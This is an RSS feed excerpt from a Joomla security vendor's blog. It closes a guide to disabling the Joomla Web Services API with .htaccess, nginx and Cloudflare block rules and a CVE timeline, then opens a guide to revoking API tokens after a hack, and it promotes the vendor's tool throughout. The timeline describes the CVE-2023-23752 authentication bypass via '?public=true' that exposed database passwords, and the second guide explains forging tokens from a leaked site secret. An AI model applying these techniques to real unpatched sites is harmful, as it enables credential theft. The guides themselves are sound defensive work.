&lt;li&gt;Every Joomla update puts it back. The &lt;code&gt;api&lt;/code&gt; folder is part of the full update package, and Joomla’s build forces &lt;code&gt;api/index.php&lt;/code&gt; into every package as well, so the next core update restores the whole application with no message saying so.&lt;/li&gt;
&lt;li&gt;Automated Core Updates stop, exactly as with the plugins, because the callback routes live in the deleted folder.&lt;/li&gt;
&lt;li&gt;The System, Discover screen throws an error, because the installer’s discover scan lists &lt;code&gt;api/components&lt;/code&gt; and fails when the folder is missing.&lt;/li&gt;
&lt;li&gt;Installing a language pack or any component with an API section writes files back into &lt;code&gt;api/&lt;/code&gt;, partially restoring the folder with the plugins still enabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nothing in Joomla checks for the folder or warns when it is missing, which cuts both ways: deleting it breaks nothing loudly, and its return goes equally unnoticed. If you use this option, disable the plugins as well, so the folder is harmless when it comes back.&lt;/p&gt;
&lt;h2&gt;Blocking /api/ with .htaccess or nginx&lt;/h2&gt;
&lt;p&gt;A server rule stops API requests before Joomla or PHP starts, and core updates leave it in place because Joomla does not overwrite your live &lt;code&gt;.htaccess&lt;/code&gt;. It is the right companion to disabling the plugins: the plugins close the API inside Joomla, and the rule means a plugin re-enabled by an update is still unreachable.&lt;/p&gt;
&lt;p&gt;On Apache, put the rule in the &lt;code&gt;## Begin - Custom redirects&lt;/code&gt; section of Joomla’s &lt;code&gt;.htaccess&lt;/code&gt;, which sits above the core SEF section that rewrites &lt;code&gt;/api/&lt;/code&gt; requests to &lt;code&gt;api/index.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;## Begin - Custom redirects&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Block the Joomla API (Web Services)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; ^api/&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [F]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;## End - Custom redirects&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;[F]&lt;/code&gt; answers 403 Forbidden and stops rewriting. The pattern must match &lt;code&gt;api/&lt;/code&gt; rather than a specific route, because the API is reachable both through the rewrite (&lt;code&gt;/api/v1/...&lt;/code&gt;) and directly through &lt;code&gt;/api/index.php/v1/...&lt;/code&gt;. If Joomla is installed in a subfolder, the same rule goes in that subfolder’s &lt;code&gt;.htaccess&lt;/code&gt; and matches relative to it.&lt;/p&gt;
&lt;p&gt;To keep automated updates working, exempt the Joomlaupdate routes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{REQUEST_URI}&lt;/span&gt;&lt;span&gt; !/v1/joomlaupdate/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; ^api/&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [F]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To allow an integration from a known address, add an IP condition:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;RewriteCond&lt;/span&gt;&lt;span&gt; %{REMOTE_ADDR}&lt;/span&gt;&lt;span&gt; !^203\.0\.113\.10$&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; ^api/&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [F]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Behind Cloudflare or another proxy, &lt;code&gt;REMOTE_ADDR&lt;/code&gt; is the proxy’s address unless the server restores the visitor’s IP with &lt;code&gt;mod_remoteip&lt;/code&gt;, so an IP allowlist in &lt;code&gt;.htaccess&lt;/code&gt; needs that set up first. On a server without &lt;code&gt;mod_rewrite&lt;/code&gt;, &lt;code&gt;RedirectMatch 403 ^/api/&lt;/code&gt; does the same job through &lt;code&gt;mod_alias&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;On nginx, a prefix location with &lt;code&gt;^~&lt;/code&gt; wins over the usual &lt;code&gt;~ \.php$&lt;/code&gt; block, so PHP never runs for these requests:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;location&lt;/span&gt;&lt;span&gt; ^~&lt;/span&gt;&lt;span&gt; /api/ &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # allow 203.0.113.10;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    deny &lt;/span&gt;&lt;span&gt;all&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A rule in &lt;code&gt;.htaccess&lt;/code&gt; is one layer, and we have argued at length that &lt;a href=&quot;https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/&quot;&gt;.htaccess will not stop a Joomla hack&lt;/a&gt; on its own. Here it is closing a door you have already locked, which is the job it is good at.&lt;/p&gt;
&lt;h2&gt;A Cloudflare WAF rule for the Joomla API&lt;/h2&gt;
&lt;p&gt;If the site sits behind Cloudflare, a custom WAF rule blocks &lt;code&gt;/api/&lt;/code&gt; at the edge, before the request reaches your server at all. Create a new custom rule in the zone’s WAF settings, switch the rule builder to the expression editor, and use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;(starts_with(http.request.uri.path, &quot;/api/&quot;))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Set the action to Block and deploy it. To keep automated updates, exempt the Joomlaupdate routes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;(starts_with(http.request.uri.path, &quot;/api/&quot;) and not http.request.uri.path contains &quot;/v1/joomlaupdate/&quot;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To let one integration through, add its addresses to the expression, separated by spaces rather than commas:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;(starts_with(http.request.uri.path, &quot;/api/&quot;) and not ip.src in {203.0.113.10 198.51.100.0/24})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The free plan allows &lt;a href=&quot;https://developers.cloudflare.com/waf/custom-rules/#availability&quot;&gt;five custom rules&lt;/a&gt; per zone, so one of them spent on &lt;code&gt;/api/&lt;/code&gt; is well spent. &lt;code&gt;starts_with&lt;/code&gt; is case-sensitive, which is fine here because Joomla’s API paths are lower case. For a site in a subfolder, change &lt;code&gt;/api/&lt;/code&gt; to &lt;code&gt;/subfolder/api/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;An edge rule only covers traffic that goes through Cloudflare. Anyone who finds the origin server’s real IP address can go around it, which is one more reason the plugins should be off as well.&lt;/p&gt;
&lt;h2&gt;Which Joomla API lockdown should you use?&lt;/h2&gt;
&lt;p&gt;Use more than one. Our order of preference, for a site that does not need the API:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Disable the plugins&lt;/dt&gt;&lt;dd&gt;Always. It is the only method that works inside Joomla, needs no server access and removes every route. Re-check it after each core update.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Cloudflare rule&lt;/dt&gt;&lt;dd&gt;If the site is on Cloudflare. It stops requests before they cost you anything and cannot be undone by a Joomla update.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;.htaccess or nginx rule&lt;/dt&gt;&lt;dd&gt;If the site is not on Cloudflare, or as well as it. Joomla updates leave it alone, and it blocks anything the plugin list misses.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Delete the api folder&lt;/dt&gt;&lt;dd&gt;Only as an emergency stopgap, paired with disabled plugins. It lasts until the next core update.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;For a site that uses the API for one integration, keep only the plugins that integration needs, restrict &lt;code&gt;/api/&lt;/code&gt; to its IP addresses at the edge, give its token to a dedicated account rather than a person’s, and revoke the token when the integration is retired. For a site that wants automated core updates and nothing else, keep Web Services - Joomlaupdate, disable the rest, and exempt &lt;code&gt;/v1/joomlaupdate/&lt;/code&gt; in your rules.&lt;/p&gt;
&lt;h2&gt;Where mySites.guru fits&lt;/h2&gt;
&lt;p&gt;Everything above is a manual job, repeated on every Joomla site you look after, and repeated again after every core update that re-enables a plugin with no warning. mySites.guru turns steps 1 to 4 into &lt;a href=&quot;https://mysites.guru/tools/extensions-and-plugins/joomla-api-web-services/&quot;&gt;one tool&lt;/a&gt;: &lt;strong&gt;Joomla API (Web Services) Enabled&lt;/strong&gt; is a read-only check that runs on each connected Joomla 4, 5 or 6 site’s snapshot, and &lt;strong&gt;Disable The Joomla 4+ API (Web Services) Layer&lt;/strong&gt; is the toggle next to it that acts on what the check finds.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The check counts enabled plugins across both the &lt;code&gt;webservices&lt;/code&gt; and &lt;code&gt;api-authentication&lt;/code&gt; folders (leaving out Joomlaupdate, which is reported on its own), and reads &lt;strong&gt;CVE&lt;/strong&gt; the moment a site is both API-enabled and still on Joomla 4.0.0 to 4.2.7, the versions exposed to CVE-2023-23752. It reads &lt;strong&gt;Basic&lt;/strong&gt; when the weaker Basic Authentication plugin is on, since that accepts a username and password with no MFA step in front of it.&lt;/li&gt;
&lt;li&gt;Its Investigate page lists each webservices and api-authentication plugin with a core-or-third-party flag, and the users who currently hold an enabled API token, by id, username and name. It never reads or transmits the token itself, so this is the list you check before assuming no one still has access. If a hack is the reason you are looking, &lt;a href=&quot;https://mysites.guru/blog/how-to-revoke-joomla-api-tokens-after-a-hack/&quot;&gt;revoking every one of those tokens in a single click&lt;/a&gt; is a separate, purpose-built tool, because a password reset does not touch them.&lt;/li&gt;
&lt;li&gt;The toggle disables all of those plugins in one click, core and third-party alike, while leaving &lt;strong&gt;Web Services - Joomlaupdate&lt;/strong&gt; running on purpose so automated core updates keep working, then re-counts and reports an error if anything is still on. Flipping it back restores Joomla’s own defaults, the core webservices plugins and Token authentication, not Basic auth or a third-party plugin that happened to be on before. A per-plugin switch on the same page handles the one case the bulk toggle does not, keeping only Joomlaupdate enabled and everything else off.&lt;/li&gt;
&lt;li&gt;Run it one site at a time, or from Tools across every Joomla site in the account, so a portfolio-wide lockdown is one click instead of an afternoon in each site’s Plugins manager.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pair it with the rest of what a mySites.guru subscription does around this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;With automated updates off, patching is back in your hands. mySites.guru shows which sites are behind the current Joomla release and lets you &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;upgrade many Joomla sites from one screen&lt;/a&gt;, with a &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup taken first&lt;/a&gt;. When a release like &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1&lt;/a&gt; fixes a webservice flaw, that view is the list of sites still exposed.&lt;/li&gt;
&lt;li&gt;Every snapshot checks whether Joomla’s Automated Update is on, and one toggle &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;switches it off remotely&lt;/a&gt; across the sites you choose.&lt;/li&gt;
&lt;li&gt;Installed extensions are matched against our &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;Joomla vulnerability database&lt;/a&gt;, including the third-party extensions that ship their own webservices plugins.&lt;/li&gt;
&lt;li&gt;Privilege escalation flaws such as CVE-2026-48904 end with an extra administrator. mySites.guru &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;flags admin accounts that should not be there&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/&quot;&gt;forced MFA for Super Users&lt;/a&gt; protects the logins that do belong.&lt;/li&gt;
&lt;li&gt;Sites still on Joomla 4 are &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;flagged as end of life&lt;/a&gt;, and those are the ones where switching the API off matters most.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The connector does not use the Joomla API, so none of this depends on &lt;code&gt;/api/&lt;/code&gt; being open. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;See the plans&lt;/a&gt;, or run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site to see what it finds.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2019-03-07&lt;/strong&gt; Web Services merged into the Joomla 4.0 branch George Wilson&apos;s &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/23424&quot;&gt;pull request #23424&lt;/a&gt; adds api/index.php, the JSON:API output and routes registered by plugins.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2020-03-23&lt;/strong&gt; Token authentication added &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/27021&quot;&gt;Pull request #27021&lt;/a&gt; brings the Joomla API Token that most integrations now use.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2021-08-17&lt;/strong&gt; Joomla 4.0.0 ships with the API switched on &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5846-joomla-4-0-and-joomla-3-10-are-here.html&quot;&gt;The release&lt;/a&gt; includes sixteen webservices plugins, all enabled by default.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2023-02-16&lt;/strong&gt; Joomla 4.2.8 fixes CVE-2023-23752 Adding ?public=true to an API request skipped authentication and exposed the site configuration, including the database password. &lt;a href=&quot;https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html&quot;&gt;JSST advisory&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2023-03-23&lt;/strong&gt; CVE-2023-23752 exploited in the wild &lt;a href=&quot;https://www.vulncheck.com/blog/joomla-for-rce&quot;&gt;VulnCheck reports&lt;/a&gt; exploitation seen by SANS ISC and GreyNoise, and &lt;a href=&quot;https://www.rapid7.com/blog/post/2023/04/28/metasploit-weekly-wrap-up-8/&quot;&gt;a Metasploit module&lt;/a&gt; follows in April.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2024-01-08&lt;/strong&gt; CISA adds CVE-2023-23752 to its Known Exploited Vulnerabilities catalogue &lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2023-23752&quot;&gt;Catalogue entry&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-10-14&lt;/strong&gt; Joomla 5.4 adds Automated Core Updates, built on the API A new Web Services - Joomlaupdate plugin, from &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/45143&quot;&gt;pull request #45143&lt;/a&gt;, is installed enabled, including on sites that had switched every other webservices plugin off. &lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/automatic-core-updates-in-joomla&quot;&gt;How it works&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-31&lt;/strong&gt; Two webservice fixes in Joomla 5.4.4 and 6.0.4 &lt;a href=&quot;https://developer.joomla.org/security-centre/1028-20260302-core-sql-injection-in-com-content-articles-webservice-endpoint.html&quot;&gt;An SQL injection in the articles endpoint&lt;/a&gt; and &lt;a href=&quot;https://developer.joomla.org/security-centre/1032-20260306-core-improper-access-check-in-webservice-endpoints.html&quot;&gt;an improper access check across webservice endpoints&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-18&lt;/strong&gt; Eleven webservice fixes in five months By Joomla 5.4.8 and 6.1.3 the count for 2026 alone reaches eleven, none of them released for Joomla 4. Every advisory is linked in &lt;a href=&quot;#the-joomla-apis-security-record-so-far&quot;&gt;the table above&lt;/a&gt; and listed in the &lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-29&lt;/strong&gt; Two more webservice fixes in Joomla 5.4.9 and 6.1.4 CVE-2026-90913 and CVE-2026-92226 bring the count for 2026 to thirteen, both rated Moderate and both listing Joomla 4 as affected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not yet public&lt;/strong&gt; Not yet public&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not yet public&lt;/strong&gt; Not yet public&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/webservices/&quot;&gt;Web Services, Joomla Programmers Documentation&lt;/a&gt; - the official reference for the API, its routes and token authentication.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/automatic-core-updates-in-joomla&quot;&gt;Automatic Core Updates in Joomla, Joomla Community Magazine&lt;/a&gt; - David Jardin on how automated updates use the webservices system.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dionysopoulos.me/joomla-428-security-fix-not-end-of-world.html&quot;&gt;The Joomla 4.2.8 security fix and why it&apos;s not the end of the world&lt;/a&gt; - Nicholas Dionysopoulos on CVE-2023-23752 and disabling Web Services as a stopgap.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.vulncheck.com/blog/joomla-for-rce&quot;&gt;Joomla for RCE: CVE-2023-23752 to Code Execution, VulnCheck&lt;/a&gt; - how the 2023 information leak was turned into full compromise.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/waf/custom-rules/&quot;&gt;Cloudflare WAF custom rules&lt;/a&gt; - rule syntax and how many rules each plan allows.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>joomla api</category><category>web services</category><category>hardening</category><enclosure url="https://mysites.guru/img/og/blog/how-to-disable-the-joomla-api-webservices.png" length="0" type="image/png"/></item><item><title>How to Revoke Every Joomla API Token After a Hack</title><link>https://mysites.guru/blog/how-to-revoke-joomla-api-tokens-after-a-hack/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-revoke-joomla-api-tokens-after-a-hack/</guid><description>A Joomla password reset never touches API tokens. How to find and revoke every one after a hack, by hand on one site or in one click with mySites.guru.</description><pubDate>Tue, 29 Sep 2026 12:45:05 GMT</pubDate><content:encoded>&lt;p&gt;You clean up a Joomla hack the right way. Patch the extension that let the attacker in, delete the webshells, force every password to reset, force every session out. A week later the site is hacked again, through a route that makes no sense, because the hole is patched and every password is new.&lt;/p&gt;
&lt;p&gt;A Joomla API Token is not a password, so a password reset never touches it. If the attacker created one before you cleaned up, it authenticates against &lt;code&gt;/api/&lt;/code&gt; exactly as it did the day it was issued, and it keeps working until someone specifically revokes it. Joomla has no page listing every token on a site and no button that clears them all, so on a site with more than a handful of users, revoking one specifically almost never happens.&lt;/p&gt;
&lt;h2&gt;Revoke Every Joomla API Token From mySites.guru in One Click&lt;/h2&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/tools/post-hack-recovery/revoke-api-keys/&quot;&gt;&lt;strong&gt;Revoke Every API Token After a Hack&lt;/strong&gt;&lt;/a&gt; tool does in one click what Joomla makes you do one profile at a time. It reads every issued token across every user, the &lt;code&gt;joomlatoken.*&lt;/code&gt; rows in &lt;code&gt;#__user_profiles&lt;/code&gt;, shows you who holds one, and removes all of them in a single action. Three options sit alongside it:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Revoke every token&lt;/dt&gt;&lt;dd&gt;Deletes every issued Joomla API Token on the site, across every user, in one action.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Rotate the update key&lt;/dt&gt;&lt;dd&gt;For sites on Joomla 5.4+ with Automated Core Updates on: writes a new update_token and re-registers the site with autoupdate.joomla.org, so a stolen key stops working.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Switch the API off&lt;/dt&gt;&lt;dd&gt;Disables the webservices and api-authentication plugins in the same pass, so there is nothing left to authenticate against.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Log everyone out&lt;/dt&gt;&lt;dd&gt;Ends every #__session row and every remember-me row in #__user_keys, on top of the tokens. Off by default, because it also ends your own session if you reached the site through mySites.guru.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;It is a manual tool you run when you need it, not a background check: find it from the tool finder (press Cmd-K, or Ctrl-K on Windows) or from the link on a hacked site’s card, run it once, and every token on that site is gone. It clears a Super User’s token in the same click as an editor’s, because a hack does not care which of them the attacker actually used.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Joomla issues a new token on the user&apos;s next save&lt;/p&gt;&lt;div&gt;&lt;p&gt;Revoking deletes the token, and the deleted one never works again. Joomla’s &lt;code&gt;User - Joomla API Token&lt;/code&gt; plugin then treats that user as one who never had a token, so the next time the account is saved, from its profile, from Users: Manage or by an extension, Joomla generates a fresh token and switches it on. Every new user in the plugin’s &lt;strong&gt;Allowed User Groups&lt;/strong&gt; (Super Users unless someone changed it) gets one when the account is created, too. Whoever stole the old token cannot use the new one, but it is a working credential again. To keep a user without a working token, save their account once so the &lt;strong&gt;Active&lt;/strong&gt; switch appears on the Joomla API Token tab, set it to No and save again. To stop tokens being issued to a whole group, take it out of Allowed User Groups.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;One count is worth knowing before you run it. The token total is read straight from &lt;code&gt;#__user_profiles&lt;/code&gt;, so a token belonging to a user account that has since been deleted still counts and still gets removed, but it cannot be named in the holder list, because that list has to join against &lt;code&gt;#__users&lt;/code&gt; to show a username. If the two numbers disagree by one or two, that is why, not a bug.&lt;/p&gt;
&lt;h2&gt;What Is a Joomla API Token?&lt;/h2&gt;
&lt;p&gt;A Joomla API Token is a per-user credential for Joomla’s REST API, which Joomla’s own screens call Web Services. It is created from that user’s own profile, on a &lt;strong&gt;Joomla API Token&lt;/strong&gt; tab that only appears when the &lt;code&gt;API Authentication - Web Services Joomla Token&lt;/code&gt; plugin is enabled and the user is in the &lt;strong&gt;Allowed User Groups&lt;/strong&gt; of the &lt;code&gt;User - Joomla API Token&lt;/code&gt; plugin, which is Super Users unless someone changed it. Using the token also needs the Web Services Login permission. A request authenticates with an &lt;code&gt;Authorization: Bearer&lt;/code&gt; header, or &lt;code&gt;X-Joomla-Token&lt;/code&gt; on servers that strip the Authorization header before PHP sees it.&lt;/p&gt;
&lt;p&gt;Nicholas Dionysopoulos built token authentication in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/27021&quot;&gt;pull request #27021&lt;/a&gt; in March 2020, and it shipped live with &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5846-joomla-4-0-and-joomla-3-10-are-here.html&quot;&gt;Joomla 4.0.0 on 17 August 2021&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Joomla never stores the raw token. What sits in &lt;code&gt;#__user_profiles&lt;/code&gt; is a seed, and a request is verified with HMAC-SHA256 against the site’s own &lt;code&gt;secret&lt;/code&gt; value in &lt;code&gt;configuration.php&lt;/code&gt;. That detail is the whole reason a password reset changes nothing: the token is not derived from the user’s password at all. It is a second, independent credential, checked against a site-wide secret rather than anything about the user holding it.&lt;/p&gt;
&lt;h2&gt;Why Cleanup Usually Skips This Step&lt;/h2&gt;
&lt;p&gt;Every hack-cleanup checklist says roughly the same thing: change every password, rotate every credential, force every session out. &lt;a href=&quot;https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&quot;&gt;Joomla’s own Security Checklist&lt;/a&gt; says it, and so does our own guide to &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;finding rogue admin accounts&lt;/a&gt;. None of that is wrong, but “rotate every credential” rarely gets broken down far enough to name a credential that lives outside the password system entirely, which is exactly the shape of gap that leaves a token still working.&lt;/p&gt;
&lt;p&gt;The reason is not carelessness. Joomla gives you nowhere to look. There is no screen that lists who holds a token, so checking for one is not a step anyone can act on without opening every profile in turn, and on a site with real editorial staff that is dozens of profiles for a check most people have never heard needs doing at all.&lt;/p&gt;
&lt;p&gt;The checklist stops at the technical fix in every case we have seen, too. Whether anyone outside your own team now has to be told what that token could reach is a separate question, and it is the one covered last in this post, not because it matters least.&lt;/p&gt;
&lt;h2&gt;How Do You Revoke a Joomla API Token by Hand?&lt;/h2&gt;
&lt;p&gt;Without mySites.guru, revoking a token means working through the user list one profile at a time:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In the administrator, go to &lt;strong&gt;Users&lt;/strong&gt;, then &lt;strong&gt;Manage&lt;/strong&gt;, and open the profile you want to check.&lt;/li&gt;
&lt;li&gt;Open the &lt;strong&gt;Joomla API Token&lt;/strong&gt; tab. It only appears for a user in the plugin’s Allowed User Groups, so most ordinary accounts will not show it at all.&lt;/li&gt;
&lt;li&gt;Set &lt;strong&gt;Active&lt;/strong&gt; to &lt;strong&gt;No&lt;/strong&gt; to switch the token off, or set &lt;strong&gt;Reset&lt;/strong&gt; to &lt;strong&gt;Yes&lt;/strong&gt; to issue a fresh token and invalidate the old one in the same save. Click &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Repeat for every user in the Allowed User Groups. There is no list of who currently holds a token, so working through those accounts one by one is the only way to be sure you have not missed one.&lt;/li&gt;
&lt;li&gt;Confirm from outside with the old token:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -H&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Authorization: Bearer OLDTOKEN&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; https://example.com/api/index.php/v1/users&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A revoked token answers 401. On a site with five editors this is ten minutes. On a client site with forty accounts built up over a decade, it is the step that gets deferred, and then forgotten.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Rotating the site secret is a last resort, not a shortcut&lt;/p&gt;&lt;div&gt;&lt;p&gt;Every token verifies against &lt;code&gt;configuration.php&lt;/code&gt;’s &lt;code&gt;secret&lt;/code&gt; value, so changing it invalidates every token on the site in one move, without touching a single profile. It is real, and it is not designed as a revocation feature. Joomla core uses the same secret to sign sessions and to encrypt some stored values, but core is not the only thing that might be using it: any third-party extension is free to read &lt;code&gt;secret&lt;/code&gt; out of &lt;code&gt;configuration.php&lt;/code&gt; for its own encryption, licensing checks or anything else a developer decided to key off it, and there is no registry of which ones do. You cannot know what changing it will break on a given site without auditing every installed extension first, so it can just as easily make things worse as make them better. Reach for it only on a site you are already rebuilding from scratch, never as a routine way to clear tokens.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Is There a Known Vulnerability in the Joomla API Worth Checking For?&lt;/h2&gt;
&lt;p&gt;Yes, if the site has not been updated recently. &lt;a href=&quot;https://cystack.net/research/security-joomla-rest-api&quot;&gt;CyStack’s research, published in April 2026&lt;/a&gt;, found two flaws in Joomla’s core REST API: an SQL injection in the articles endpoint’s ordering parameters (&lt;a href=&quot;https://developer.joomla.org/security-centre/1028-20260302-core-sql-injection-in-com-content-articles-webservice-endpoint.html&quot;&gt;CVE-2026-21630&lt;/a&gt;) and a missing access check on the &lt;code&gt;com_config&lt;/code&gt; endpoints (&lt;a href=&quot;https://developer.joomla.org/security-centre/1032-20260306-core-improper-access-check-in-webservice-endpoints.html&quot;&gt;CVE-2026-23899&lt;/a&gt;) that let an authenticated caller read the site’s &lt;code&gt;secret&lt;/code&gt;, the same value every token is checked against. Both affected Joomla 4.0.0 to 5.4.3 and 6.0.0 to 6.0.3, and both were fixed on 31 March 2026, part of the record we keep on &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-the-joomla-api-webservices/#the-joomla-apis-security-record-so-far&quot;&gt;the Joomla API’s security history&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If a site was on an affected version when it was hacked, treat every token issued since as suspect. A leaked secret can be used to forge a valid token without ever touching a user’s profile, which is one more reason a revoke has to cover every token rather than just the ones that look unfamiliar.&lt;/p&gt;
